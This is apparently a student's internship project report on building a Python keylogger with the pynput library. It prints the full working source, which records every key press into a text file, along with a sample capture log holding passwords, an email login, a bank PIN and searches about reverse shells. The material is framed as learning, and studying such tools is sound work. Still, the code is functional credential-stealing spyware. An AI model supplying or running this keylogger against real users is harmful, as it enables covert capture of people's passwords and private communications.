

STANDARD KEYLOGGER

RASHID IQBAL
--(AI RED TEAMER)--

PROJECT 2ND AS CYBER ROLE AT ARCH TECHNOLOGIES





STANDARD KEYLOGGER

In this project, I built a **Keylogger using Python** to capture keystrokes on my system in real time. The keylogger listens to keyboard inputs & logs each key pressed into a text file for analysis. I used the **pynput** library, which allows Python to interact with the keyboard & detect key events. The program continuously monitors for any key press & writes the corresponding character into a log file. Special keys that don't have a character representation are handled with error control to prevent the program from crashing.

This project gave me hands-on experience with **event-driven programming**, **file handling**, and the **basic of input monitoring in Python**. It also introduced me to ethical considerations in **Cybersecurity**, as **keyloggers** are a sensitive tool that can be misused if not applied responsibly.

OBJECTIVE:

The main goals of this project were to:

- 1) Capture keystrokes in real time using Python.
- 2) Store captured keystrokes in a persistent log files.
- 3) Understand how keyboard input can be monitored programmatically.
- 4) Learn proper handling of special keys & exceptions.

KEY CONCEPTS LEARNED:

PYNPUT LIBRARY:

- ❖ The **pynput** library allows Python to monitor & control input devices like keyboard & mouse.
- ❖ I used **pynput.keyboard.Listener** to detect key press events.
- ❖ This taught me how Python can interface with hardware events in real time.

EVENT-DRIVEN PROGRAMMING:

- ❖ Keylogging works on the principle of **event-driven programming**, where functions are executed in response to events.
- ❖ I defined a function **keyPressed(key)** that is called every time a key is pressed.
- ❖ Understanding this concept helped me see how programs can react to user actions dynamically.

FILE HANDLING:

- ❖ Captured keystrokes are saved in file named **keyfile.txt**
- ❖ Using **with open("keyfile.txt", 'a') as logKey:** ensures the file is properly opened, appended to, and closed automatically.
- ❖ This improved my knowledge of persistent data storage & safe file handling in Python.

EXCEPTION HANDLING:

- ❖ Not all keys have a direct character representation (like **Shift**, **Ctrl**, **Enter**).
- ❖ I implemented a try-except block to handle these special keys gracefully.
- ❖ This taught me the importance of error handling in real-world applications.

PYTHON IMPLEMENTATION:

- ❖ I imported the **keyboard** module from **pynput**.
- ❖ Defined a function **keyPressed(key)** to capture key events.
- ❖ Within this function:
 - I attempted to write the character to the log file.
 - For non-character keys, an error is caught to avoid program interruption.
- ❖ Created a keyboard listener object with **keyboard.Listener(on_press=keyPressed)**
- ❖ Started the listener with **.start()** and kept the program running with **input()**

This simple but effective structure allowed the program to continuously monitor & log keystrokes in real time.

PRACTICAL USE:

- ❖ This keylogger helped me understand how input devices can be monitored programmatically.
- ❖ I learned how to capture & log sensitive events safely in a controlled environment.
- ❖ It strengthened my understanding of **event-driven applications**, **file I/O**, and **exception handling**.
- ❖ From a **Cybersecurity perspective**, this project provided insight into the methods attackers might use to capture user input & how defensive programming can prevent such misuse.

A screenshot of the Visual Studio Code interface. The left sidebar shows a project named 'PROJECT - 2' containing files: 'KeyLogger.py', 'keyfile.txt', 'ARCH Technologies.png', and 'Standard KeyLogger.docx'. The main editor window displays the Python code for a keylogger:

```
from pynput import keyboard
def keyPressed(key):
    print(str(key))
    with open("keyfile.txt", 'a') as logKey:
        try:
            char = key.char
            logKey.write(char)
        except:
            print("Error getting char")
if __name__ == "__main__":
    listener = keyboard.Listener(on_press=keyPressed)
    listener.start()
    input()
```

Figure 1: Code of Keylogger

A screenshot of the Visual Studio Code interface. The left sidebar shows a project named 'PROJECT - 2' containing files: 'keyfile.txt', 'KeyLogger.py', 'keyfile.txt', 'ARCH Technologies.png', and 'Standard KeyLogger.docx'. The right-hand panel displays the contents of 'keyfile.txt' as a log of captured keystrokes and commands:

```
1 Admin login attempt...
2 Username: admin_root
3 Password: P@ssw0rd123!
4 
5 Opening chrome...
6 Searching: "how to bypass firewall windows 11"
7 
8 Email Login:
9 email: cyber.student@protonmail.com
10 password: RedTeam1235
11 
12 Opening cmd...
13 ipconfig /all
14 netstat -ano
15 whoami
16 
17 Typing in WhatsApp Web...
18 "Bro the lab system is vulnerable."
19 "We can test it tomorrow."
20 
21 Accessing bank portal...
22 User ID: 45892173
23 PIN: 9842
24 
25 Searching:
26 "how to create reverse shell python"
27 "best penetration testing tools 2025"
28 
29 System shutting down...
```

Figure 2: Captured Commands

CONCLUSION:

Exploring the **hidden world of keyboard inputs** taught me valuable skills & insights...

I

- Built a Keylogger to monitor & record keystrokes in real time.
- Gained hands-on experience with event-driven programming & input device monitoring.
- Learned to capture, log, and handle keystrokes safely using Python.
- Developed a deeper understanding of file handling, and exception handling.
- Strengthened my knowledge in Python programming, Cybersecurity, and Ethical Hacking.
- Prepared myself for real-world tasks in input monitoring, automation, and security testing.

